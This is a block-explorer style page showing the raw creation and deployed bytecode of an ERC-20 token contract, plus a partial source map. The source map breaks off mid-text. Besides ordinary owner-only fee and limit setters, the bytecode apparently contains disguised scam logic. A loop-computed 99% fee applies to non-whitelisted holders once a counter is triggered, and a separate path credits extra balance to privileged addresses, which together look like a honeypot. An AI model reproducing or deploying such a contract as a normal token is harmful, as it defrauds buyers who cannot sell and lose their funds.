40516001600160a01b039091168152602001610271565b34801561034457600080fd5b50601954610320906001600160a01b031681565b34801561036457600080fd5b50600c546102d1565b34801561037957600080fd5b50601a5461026590600160a01b900460ff1681565b34801561039a57600080fd5b506102656103a936600461166a565b6107fb565b3480156103ba57600080fd5b506103ce6103c93660046116ab565b610864565b005b3480156103dc57600080fd5b50600b5460405160ff9091168152602001610271565b3480156103fe57600080fd5b5061026561040d36600461163e565b6108b7565b34801561041e57600080fd5b506102d1600f5481565b34801561043457600080fd5b50601a54610320906001600160a01b031681565b34801561045457600080fd5b50601a5461026590600160a81b900460ff1681565b34801561047557600080fd5b506102d160115481565b34801561048b57600080fd5b506102d160105481565b3480156104a157600080fd5b506102d16104b03660046115cc565b6001600160a01b031660009081526001602052604090205490565b3480156104d757600080fd5b506103ce6108ed565b3480156104ec57600080fd5b506102d160155481565b34801561050257600080fd5b506102d160175481565b34801561051857600080fd5b50600754610320906001600160a01b031681565b34801561053857600080fd5b506102656105473660046115cc565b60036020526000908152604090205460ff1681565b34801561056857600080fd5b506000546001600160a01b0316610320565b34801561058657600080fd5b506102656105953660046115cc565b60046020526000908152604090205460ff1681565b3480156105b657600080fd5b506103ce6105c53660046116ab565b610961565b3480156105d657600080fd5b5061028f6109ab565b3480156105eb57600080fd5b506102656105fa36600461163e565b6109ba565b34801561060b57600080fd5b506103ce61061a3660046116c4565b610a09565b34801561062b57600080fd5b5061026561063a36600461163e565b610a51565b34801561064b57600080fd5b506102d1610a5e565b34801561066057600080fd5b506102d1600c5481565b34801561067657600080fd5b5061028f610ab9565b34801561068b57600080fd5b5061069f61069a3660046116e6565b610b47565b60408051928352602083019190915201610271565b3480156106c057600080fd5b5061028f610c09565b3480156106d557600080fd5b506102d16106e4366004611716565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561071b57600080fd5b506103ce61072a3660046115cc565b610c16565b60606009805461073e90611744565b80601f016020809104026020016040519081016040528092919081815260200182805461076a90611744565b80156107b75780601f1061078c576101008083540402835291602001916107b7565b820191906000526020600020905b81548152906001019060200180831161079a57829003601f168201915b5050505050905090565b60006107ce338484610d18565b50600192915050565b600060015b606281116107f657806107ee81611794565b9150506107dc565b919050565b6000610808848484610dd9565b61085a84336108558560405180606001604052806028815260200161192d602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111be565b610d18565b5060019392505050565b6000546001600160a01b031633146108975760405162461bcd60e51b815260040161088e906117ad565b60405180910390fd5b606481600c546108a791906117e2565b6108b19190611801565b60175550565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916107ce91859061085590866111ea565b6000546001600160a01b031633146109175760405162461bcd60e51b815260040161088e906117ad565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461098b5760405162461bcd60e51b815260040161088e906117ad565b60c881600c5461099b91906117e2565b6109a59190611801565b60155550565b6060600a805461073e90611744565b60006107ce338461085585604051806060016040528060258152602001611955602591393360009081526002602090815260408083206001600160a01b038d16845290915290205491906111be565b6000546001600160a01b03163314610a335760405162461bcd60e51b815260040161088e906117ad565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b60006107ce338484610dd9565b6040805160208082018352600a9182905282518082018452601e9081905283519182019093526000908190529160015b8115610ab257610a9e83826117e2565b905081610aaa81611839565b925050610a8e565b9392505050565b600a8054610ac690611744565b80601f0160208091040260200160405190810160405280929190818152602001828054610af290611744565b8015610b3f5780601f10610b1457610100808354040283529160200191610b3f565b820191906000526020600020905b815481529060010190602001808311610b2257829003601f168201915b505050505081565b6000806000610bef6064610be96040518060200160405280600160ff16815250600060018110610b7957610b79611823565b602002015160ff1660115410610bde576001600160a01b03871660009081526004602052604090205460ff16610bd6576001600160a01b03871660009081526005602052604090205460ff16610bd657610bd16107d7565b610be2565b600e54610be2565b600e545b8890610d00565b90610d0c565b90506000610bfd86836111f6565b96919550909350505050565b60098054610ac690611744565b6000546001600160a01b03163314610c405760405162461bcd60e51b815260040161088e906117ad565b6001600160a01b038116610ca55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161088e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610ab282846117e2565b6000610ab28284611801565b6001600160a01b03831615801590610d3857506001600160a01b03821615155b610d785760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161088e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610e0557506006546001600160a01b03838116911614155b8015610e1a57506001600160a01b0382163014155b8015610e345750601a546001600160a01b03838116911614155b8015610e4e57506007546001600160a01b03838116911614155b8015610e7357506001600160a01b03821660009081526004602052604090205460ff16155b8015610e8d57506000546001600160a01b03848116911614155b15610f48576001600160a01b038216600090815260016020526040902054601554610eb88383611850565b1115610f465760405162461bcd60e51b815260206004820152605160248201527f596f752061726520747279696e6720746f2062757920746f6f206d616e79207460448201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d696064820152703a103337b91037b732903bb0b63632ba1760791b608482015260a40161088e565b505b6000546001600160a01b03848116911614801590610f7457506000546001600160a01b03838116911614155b8015610fbc57506001600160a01b03831660009081526004602052604090205460ff1680610fba57506001600160a01b03821660009081526004602052604090205460ff165b155b15611039576017548111156110395760405162461bcd60e51b815260206004820152603a60248201527f596f752061726520747279696e6720746f20627579206d6f7265207468616e2060448201527f746865206d6178207472616e73616374696f6e206c696d69742e000000000000606482015260840161088e565b600d5460ff6101008204811691161080159061105f5750601a54600160a01b900460ff16155b80156110795750601a546001600160a01b03848116911614155b801561108e5750601a54600160a81b900460ff165b156110cd57600d805460ff19169055306000908152600160205260409020546017548111156110bc57506017545b80156110cb576110cb81611202565b505b6001600160a01b03831660009081526003602052604090205460019060ff168061110f57506001600160a01b03831660009081526003602052604090205460ff165b1561116e57506001600160a01b03821660009081526004602052604081205460ff16801561114e57506040805160208101909152600190819052601154105b15611169576011805490600061116383611794565b91905055505b6111ac565b601a546001600160a01b039081169085160361118f57600f54600e556111ac565b601a546001600160a01b03908116908416036111ac57601054600e555b6111b884848484611247565b50505050565b600081848411156111e25760405162461bcd60e51b815260040161088e91906115e9565b505050900390565b6000610ab28284611850565b6000610ab28284611868565b601a805460ff60a01b1916600160a01b17905561121e816112ad565b6006544790611236906001600160a01b031682611407565b5050601a805460ff60a01b19169055565b8061125957611254611442565b611286565b600d805460ff1690600061126c8361187f565b91906101000a81548160ff021916908360ff160217905550505b611291848484611487565b806111b8576111b8601254600e55601354600f55601454601055565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106112e2576112e2611823565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561133b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135f919061189e565b8160018151811061137257611372611823565b6001600160a01b0392831660209182029290920101526019546113989130911684610d18565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d19085906000908690309042906004016118bb565b600060405180830381600087803b1580156113eb57600080fd5b505af11580156113ff573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561143d573d6000803e3d6000fd5b505050565b600e541580156114525750600f54155b801561145e5750601054155b1561146557565b600f805460135560108054601455600e80546012556000928390559082905555565b6000806114948386610b47565b6001600160a01b03871660009081526001602052604090205491935091506114bc90846111f6565b6001600160a01b0380871660009081526001602090815260408083209490945591871681526004909152205461152b9060ff166114fa576000611502565b611502610a5e565b6001600160a01b03861660009081526001602052604090205461152590856111ea565b906111ea565b6001600160a01b03851660009081526001602052604080822092909255308152205461155790826111ea565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6001600160a01b03811681146115c957600080fd5b50565b6000602082840312156115de57600080fd5b8135610ab2816115b4565b600060208083528351808285015260005b81811015611616578581018301518582016040015282016115fa565b81811115611628576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561165157600080fd5b823561165c816115b4565b946020939093013593505050565b60008060006060848603121561167f57600080fd5b833561168a816115b4565b9250602084013561169a816115b4565b929592945050506040919091013590565b6000602082840312156116bd57600080fd5b5035919050565b6000602082840312156116d657600080fd5b81358015158114610ab257600080fd5b600080604083850312156116f957600080fd5b82359150602083013561170b816115b4565b809150509250929050565b6000806040838503121561172957600080fd5b8235611734816115b4565b9150602083013561170b816115b4565b600181811c9082168061175857607f821691505b60208210810361177857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000600182016117a6576117a661177e565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008160001904831182151516156117fc576117fc61177e565b500290565b60008261181e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000816118485761184861177e565b506000190190565b600082198211156118635761186361177e565b500190565b60008282101561187a5761187a61177e565b500390565b600060ff821660ff81036118955761189561177e565b60010192915050565b6000602082840312156118b057600080fd5b8151610ab2816115b4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561190b5784516001600160a01b0316835293830193918301916001016118e6565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201398aaf62a7124ed94816d378350a217a1da55b6a2c29641b1f18b962ee75dd264736f6c634300080e0033

Deployed Bytecode

0x6080604052600436106102295760003560e01c8063715018a611610123578063a457c2d7116100ab578063b09f12661161006f578063b09f12661461066a578063cccdbe2e1461067f578063d28d8852146106b4578063dd62ed3e146106c9578063f2fde38b1461070f57600080fd5b8063a457c2d7146105df578063a514a07d146105ff578063a9059cbb1461061f578063aa0d1b6c1461063f578063af465a271461065457600080fd5b806380da4543116100f257806380da45431461052c5780638da5cb5b1461055c5780639248eef11461057a57806394220184146105aa57806395d89b41146105ca57600080fd5b8063715018a6146104cb57806378109e54146104e05780637d1db4a5146104f6578063805c0e0f1461050c57600080fd5b806323b872dd116101b157806349bd5a5e1161017557806349bd5a5e146104285780634a74bb02146104485780635794981514610469578063590f897e1461047f57806370a082311461049557600080fd5b806323b872dd1461038e5780632e39c6c6146103ae578063313ce567146103d057806339509351146103f257806340b9a54b1461041257600080fd5b806313fad07a116101f857806313fad07a146102df57806315a7cb10146103005780631694505e1461033857806318160ddd14610358578063220f66961461036d57600080fd5b80630388c3281461023557806306fdde031461027a578063095ea7b31461029c5780630f8aa2d3146102bc57600080fd5b3661023057005b600080fd5b34801561024157600080fd5b506102656102503660046115cc565b60056020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561028657600080fd5b5061028f61072f565b60405161027191906115e9565b3480156102a857600080fd5b506102656102b736600461163e565b6107c1565b3480156102c857600080fd5b506102d16107d7565b604051908152602001610271565b3480156102eb57600080fd5b50601a5461026590600160b01b900460ff1681565b34801561030c57600080fd5b50600854610320906001600160a01b031681565b6040516001600160a01b039091168152602001610271565b34801561034457600080fd5b50601954610320906001600160a01b031681565b34801561036457600080fd5b50600c546102d1565b34801561037957600080fd5b50601a5461026590600160a01b900460ff1681565b34801561039a57600080fd5b506102656103a936600461166a565b6107fb565b3480156103ba57600080fd5b506103ce6103c93660046116ab565b610864565b005b3480156103dc57600080fd5b50600b5460405160ff9091168152602001610271565b3480156103fe57600080fd5b5061026561040d36600461163e565b6108b7565b34801561041e57600080fd5b506102d1600f5481565b34801561043457600080fd5b50601a54610320906001600160a01b031681565b34801561045457600080fd5b50601a5461026590600160a81b900460ff1681565b34801561047557600080fd5b506102d160115481565b34801561048b57600080fd5b506102d160105481565b3480156104a157600080fd5b506102d16104b03660046115cc565b6001600160a01b031660009081526001602052604090205490565b3480156104d757600080fd5b506103ce6108ed565b3480156104ec57600080fd5b506102d160155481565b34801561050257600080fd5b506102d160175481565b34801561051857600080fd5b50600754610320906001600160a01b031681565b34801561053857600080fd5b506102656105473660046115cc565b60036020526000908152604090205460ff1681565b34801561056857600080fd5b506000546001600160a01b0316610320565b34801561058657600080fd5b506102656105953660046115cc565b60046020526000908152604090205460ff1681565b3480156105b657600080fd5b506103ce6105c53660046116ab565b610961565b3480156105d657600080fd5b5061028f6109ab565b3480156105eb57600080fd5b506102656105fa36600461163e565b6109ba565b34801561060b57600080fd5b506103ce61061a3660046116c4565b610a09565b34801561062b57600080fd5b5061026561063a36600461163e565b610a51565b34801561064b57600080fd5b506102d1610a5e565b34801561066057600080fd5b506102d1600c5481565b34801561067657600080fd5b5061028f610ab9565b34801561068b57600080fd5b5061069f61069a3660046116e6565b610b47565b60408051928352602083019190915201610271565b3480156106c057600080fd5b5061028f610c09565b3480156106d557600080fd5b506102d16106e4366004611716565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561071b57600080fd5b506103ce61072a3660046115cc565b610c16565b60606009805461073e90611744565b80601f016020809104026020016040519081016040528092919081815260200182805461076a90611744565b80156107b75780601f1061078c576101008083540402835291602001916107b7565b820191906000526020600020905b81548152906001019060200180831161079a57829003601f168201915b5050505050905090565b60006107ce338484610d18565b50600192915050565b600060015b606281116107f657806107ee81611794565b9150506107dc565b919050565b6000610808848484610dd9565b61085a84336108558560405180606001604052806028815260200161192d602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111be565b610d18565b5060019392505050565b6000546001600160a01b031633146108975760405162461bcd60e51b815260040161088e906117ad565b60405180910390fd5b606481600c546108a791906117e2565b6108b19190611801565b60175550565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916107ce91859061085590866111ea565b6000546001600160a01b031633146109175760405162461bcd60e51b815260040161088e906117ad565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461098b5760405162461bcd60e51b815260040161088e906117ad565b60c881600c5461099b91906117e2565b6109a59190611801565b60155550565b6060600a805461073e90611744565b60006107ce338461085585604051806060016040528060258152602001611955602591393360009081526002602090815260408083206001600160a01b038d16845290915290205491906111be565b6000546001600160a01b03163314610a335760405162461bcd60e51b815260040161088e906117ad565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b60006107ce338484610dd9565b6040805160208082018352600a9182905282518082018452601e9081905283519182019093526000908190529160015b8115610ab257610a9e83826117e2565b905081610aaa81611839565b925050610a8e565b9392505050565b600a8054610ac690611744565b80601f0160208091040260200160405190810160405280929190818152602001828054610af290611744565b8015610b3f5780601f10610b1457610100808354040283529160200191610b3f565b820191906000526020600020905b815481529060010190602001808311610b2257829003601f168201915b505050505081565b6000806000610bef6064610be96040518060200160405280600160ff16815250600060018110610b7957610b79611823565b602002015160ff1660115410610bde576001600160a01b03871660009081526004602052604090205460ff16610bd6576001600160a01b03871660009081526005602052604090205460ff16610bd657610bd16107d7565b610be2565b600e54610be2565b600e545b8890610d00565b90610d0c565b90506000610bfd86836111f6565b96919550909350505050565b60098054610ac690611744565b6000546001600160a01b03163314610c405760405162461bcd60e51b815260040161088e906117ad565b6001600160a01b038116610ca55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161088e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610ab282846117e2565b6000610ab28284611801565b6001600160a01b03831615801590610d3857506001600160a01b03821615155b610d785760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161088e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610e0557506006546001600160a01b03838116911614155b8015610e1a57506001600160a01b0382163014155b8015610e345750601a546001600160a01b03838116911614155b8015610e4e57506007546001600160a01b03838116911614155b8015610e7357506001600160a01b03821660009081526004602052604090205460ff16155b8015610e8d57506000546001600160a01b03848116911614155b15610f48576001600160a01b038216600090815260016020526040902054601554610eb88383611850565b1115610f465760405162461bcd60e51b815260206004820152605160248201527f596f752061726520747279696e6720746f2062757920746f6f206d616e79207460448201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d696064820152703a103337b91037b732903bb0b63632ba1760791b608482015260a40161088e565b505b6000546001600160a01b03848116911614801590610f7457506000546001600160a01b03838116911614155b8015610fbc57506001600160a01b03831660009081526004602052604090205460ff1680610fba57506001600160a01b03821660009081526004602052604090205460ff165b155b15611039576017548111156110395760405162461bcd60e51b815260206004820152603a60248201527f596f752061726520747279696e6720746f20627579206d6f7265207468616e2060448201527f746865206d6178207472616e73616374696f6e206c696d69742e000000000000606482015260840161088e565b600d5460ff6101008204811691161080159061105f5750601a54600160a01b900460ff16155b80156110795750601a546001600160a01b03848116911614155b801561108e5750601a54600160a81b900460ff165b156110cd57600d805460ff19169055306000908152600160205260409020546017548111156110bc57506017545b80156110cb576110cb81611202565b505b6001600160a01b03831660009081526003602052604090205460019060ff168061110f57506001600160a01b03831660009081526003602052604090205460ff165b1561116e57506001600160a01b03821660009081526004602052604081205460ff16801561114e57506040805160208101909152600190819052601154105b15611169576011805490600061116383611794565b91905055505b6111ac565b601a546001600160a01b039081169085160361118f57600f54600e556111ac565b601a546001600160a01b03908116908416036111ac57601054600e555b6111b884848484611247565b50505050565b600081848411156111e25760405162461bcd60e51b815260040161088e91906115e9565b505050900390565b6000610ab28284611850565b6000610ab28284611868565b601a805460ff60a01b1916600160a01b17905561121e816112ad565b6006544790611236906001600160a01b031682611407565b5050601a805460ff60a01b19169055565b8061125957611254611442565b611286565b600d805460ff1690600061126c8361187f565b91906101000a81548160ff021916908360ff160217905550505b611291848484611487565b806111b8576111b8601254600e55601354600f55601454601055565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106112e2576112e2611823565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561133b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135f919061189e565b8160018151811061137257611372611823565b6001600160a01b0392831660209182029290920101526019546113989130911684610d18565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d19085906000908690309042906004016118bb565b600060405180830381600087803b1580156113eb57600080fd5b505af11580156113ff573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561143d573d6000803e3d6000fd5b505050565b600e541580156114525750600f54155b801561145e5750601054155b1561146557565b600f805460135560108054601455600e80546012556000928390559082905555565b6000806114948386610b47565b6001600160a01b03871660009081526001602052604090205491935091506114bc90846111f6565b6001600160a01b0380871660009081526001602090815260408083209490945591871681526004909152205461152b9060ff166114fa576000611502565b611502610a5e565b6001600160a01b03861660009081526001602052604090205461152590856111ea565b906111ea565b6001600160a01b03851660009081526001602052604080822092909255308152205461155790826111ea565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6001600160a01b03811681146115c957600080fd5b50565b6000602082840312156115de57600080fd5b8135610ab2816115b4565b600060208083528351808285015260005b81811015611616578581018301518582016040015282016115fa565b81811115611628576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561165157600080fd5b823561165c816115b4565b946020939093013593505050565b60008060006060848603121561167f57600080fd5b833561168a816115b4565b9250602084013561169a816115b4565b929592945050506040919091013590565b6000602082840312156116bd57600080fd5b5035919050565b6000602082840312156116d657600080fd5b81358015158114610ab257600080fd5b600080604083850312156116f957600080fd5b82359150602083013561170b816115b4565b809150509250929050565b6000806040838503121561172957600080fd5b8235611734816115b4565b9150602083013561170b816115b4565b600181811c9082168061175857607f821691505b60208210810361177857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000600182016117a6576117a661177e565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008160001904831182151516156117fc576117fc61177e565b500290565b60008261181e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000816118485761184861177e565b506000190190565b600082198211156118635761186361177e565b500190565b60008282101561187a5761187a61177e565b500390565b600060ff821660ff81036118955761189561177e565b60010192915050565b6000602082840312156118b057600080fd5b8151610ab2816115b4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561190b5784516001600160a01b0316835293830193918301916001016118e6565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201398aaf62a7124ed94816d378350a217a1da55b6a2c29641b1f18b962ee75dd264736f6c634300080e0033

Deployed Bytecode Sourcemap

14374:10034:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14744:50;;;;;;;;;;-1:-1:-1;14744:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;567:14:1;;560:22;542:41;;530:2;515:18;14744:50:0;;;;;;;;17107:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;17939:161::-;;;;;;;;;;-1:-1:-1;17939:161:0;;;;;:::i;:::-;;:::i;22831:155::-;;;;;;;;;;;;;:::i;:::-;;;1662:25:1;;;1650:2;1635:18;22831:155:0;1516:177:1;18970:35:0;;;;;;;;;;-1:-1:-1;18970:35:0;;;;-1:-1:-1;;;18970:35:0;;;;;;15001:88;;;;;;;;;;-1:-1:-1;15001:88:0;;;;-1:-1:-1;;;;;15001:88:0;;;;;;-1:-1:-1;;;;;1878:32:1;;;1860:51;;1848:2;1833:18;15001:88:0;1698:219:1;15930:41:0;;;;;;;;;;-1:-1:-1;15930:41:0;;;;-1:-1:-1;;;;;15930:41:0;;;17384:95;;;;;;;;;;-1:-1:-1;17464:7:0;;17384:95;;16013:28;;;;;;;;;;-1:-1:-1;16013:28:0;;;;-1:-1:-1;;;16013:28:0;;;;;;18108:313;;;;;;;;;;-1:-1:-1;18108:313:0;;;;;:::i;:::-;;:::i;19147:148::-;;;;;;;;;;-1:-1:-1;19147:148:0;;;;;:::i;:::-;;:::i;:::-;;17293:83;;;;;;;;;;-1:-1:-1;17359:9:0;;17293:83;;17359:9;;;;2945:36:1;;2933:2;2918:18;17293:83:0;2803:184:1;18429:218:0;;;;;;;;;;-1:-1:-1;18429:218:0;;;;;:::i;:::-;;:::i;15379:26::-;;;;;;;;;;;;;;;;15978:28;;;;;;;;;;-1:-1:-1;15978:28:0;;;;-1:-1:-1;;;;;15978:28:0;;;16048:40;;;;;;;;;;-1:-1:-1;16048:40:0;;;;-1:-1:-1;;;16048:40:0;;;;;;15446:29;;;;;;;;;;;;;;;;15412:27;;;;;;;;;;;;;;;;17487:118;;;;;;;;;;-1:-1:-1;17487:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;17580:17:0;17553:7;17580:17;;;:8;:17;;;;;;;17487:118;5929:148;;;;;;;;;;;;;:::i;15639:57::-;;;;;;;;;;;;;;;;15769:54;;;;;;;;;;;;;;;;14905:88;;;;;;;;;;-1:-1:-1;14905:88:0;;;;-1:-1:-1;;;;;14905:88:0;;;14621:48;;;;;;;;;;-1:-1:-1;14621:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5677:87;;;;;;;;;;-1:-1:-1;5723:7:0;5750:6;-1:-1:-1;;;;;5750:6:0;5677:87;;14677:59;;;;;;;;;;-1:-1:-1;14677:59:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19312:150;;;;;;;;;;-1:-1:-1;19312:150:0;;;;;:::i;:::-;;:::i;17198:87::-;;;;;;;;;;;;;:::i;18655:269::-;;;;;;;;;;-1:-1:-1;18655:269:0;;;;;:::i;:::-;;:::i;19014:125::-;;;;;;;;;;-1:-1:-1;19014:125:0;;;;;:::i;:::-;;:::i;17613:167::-;;;;;;;;;;-1:-1:-1;17613:167:0;;;;;:::i;:::-;;:::i;6085:220::-;;;;;;;;;;;;;:::i;15213:49::-;;;;;;;;;;;;;;;;15137:32;;;;;;;;;;;;;:::i;23860:545::-;;;;;;;;;;-1:-1:-1;23860:545:0;;;;;:::i;:::-;;:::i;:::-;;;;3972:25:1;;;4028:2;4013:18;;4006:34;;;;3945:18;23860:545:0;3798:248:1;15099:30:0;;;;;;;;;;;;;:::i;17788:143::-;;;;;;;;;;-1:-1:-1;17788:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17896:18:0;;;17869:7;17896:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;17788:143;6313:244;;;;;;;;;;-1:-1:-1;6313:244:0;;;;;:::i;:::-;;:::i;17107:83::-;17144:13;17177:5;17170:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17107:83;:::o;17939:161::-;18014:4;18031:39;1892:10;18054:7;18063:6;18031:8;:39::i;:::-;-1:-1:-1;18088:4:0;17939:161;;;;:::o;22831:155::-;22880:7;22931:1;22922:34;22939:2;22933:4;:8;22922:34;;22948:6;;;;:::i;:::-;;;;22922:34;;;22974:4;22831:155;-1:-1:-1;22831:155:0:o;18108:313::-;18206:4;18223:36;18233:6;18241:9;18252:6;18223:9;:36::i;:::-;18270:121;18279:6;1892:10;18301:89;18339:6;18301:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18301:19:0;;;;;;:11;:19;;;;;;;;1892:10;18301:33;;;;;;;;;;:37;:89::i;:::-;18270:8;:121::i;:::-;-1:-1:-1;18409:4:0;18108:313;;;;;:::o;19147:148::-;5723:7;5750:6;-1:-1:-1;;;;;5750:6:0;1892:10;5812:23;5804:68;;;;-1:-1:-1;;;5804:68:0;;;;;;;:::i;:::-;;;;;;;;;19284:3:::1;19266:17;19258:7;;:25;;;;:::i;:::-;:29;;;;:::i;:::-;19243:12;:44:::0;-1:-1:-1;19147:148:0:o;18429:218::-;1892:10;18517:4;18566:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18566:34:0;;;;;;;;;;18517:4;;18534:83;;18557:7;;18566:50;;18605:10;18566:38;:50::i;5929:148::-;5723:7;5750:6;-1:-1:-1;;;;;5750:6:0;1892:10;5812:23;5804:68;;;;-1:-1:-1;;;5804:68:0;;;;;;;:::i;:::-;6036:1:::1;6020:6:::0;;5999:40:::1;::::0;-1:-1:-1;;;;;6020:6:0;;::::1;::::0;5999:40:::1;::::0;6036:1;;5999:40:::1;6067:1;6050:19:::0;;-1:-1:-1;;;;;;6050:19:0::1;::::0;;5929:148::o;19312:150::-;5723:7;5750:6;-1:-1:-1;;;;;5750:6:0;1892:10;5812:23;5804:68;;;;-1:-1:-1;;;5804:68:0;;;;;;;:::i;:::-;19451:3:::1;19431:19;19423:7;;:27;;;;:::i;:::-;:31;;;;:::i;:::-;19405:15;:49:::0;-1:-1:-1;19312:150:0:o;17198:87::-;17237:13;17270:7;17263:14;;;;;:::i;18655:269::-;18748:4;18765:129;1892:10;18788:7;18797:96;18836:15;18797:96;;;;;;;;;;;;;;;;;1892:10;18797:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18797:34:0;;;;;;;;;;;;:38;:96::i;19014:125::-;5723:7;5750:6;-1:-1:-1;;;;;5750:6:0;1892:10;5812:23;5804:68;;;;-1:-1:-1;;;5804:68:0;;;;;;;:::i;:::-;19100:15:::1;:31:::0;;;::::1;;-1:-1:-1::0;;;19100:31:0::1;-1:-1:-1::0;;;;19100:31:0;;::::1;::::0;;;::::1;::::0;;19014:125::o;17613:167::-;17691:4;17708:42;1892:10;17732:9;17743:6;17708:9;:42::i;6085:220::-;6201:7;;;;;;;;;6202:2;6201:7;;;;6209;;;;;;;6210:2;6209:7;;;;6217:6;;;;;;;;-1:-1:-1;6217:6:0;;;;-1:-1:-1;6246:1:0;6235:48;6249:8;;6235:48;;6269:12;6277:4;6269:12;;:::i;:::-;;-1:-1:-1;6259:8:0;;;;:::i;:::-;;;;6235:48;;;6291:6;6085:220;-1:-1:-1;;;6085:220:0:o;15137:32::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;23860:545::-;23937:7;23946;23966:18;23987:305;24288:3;23987:282;24030:6;;;;;;;;24031:1;24030:6;;;;;24034: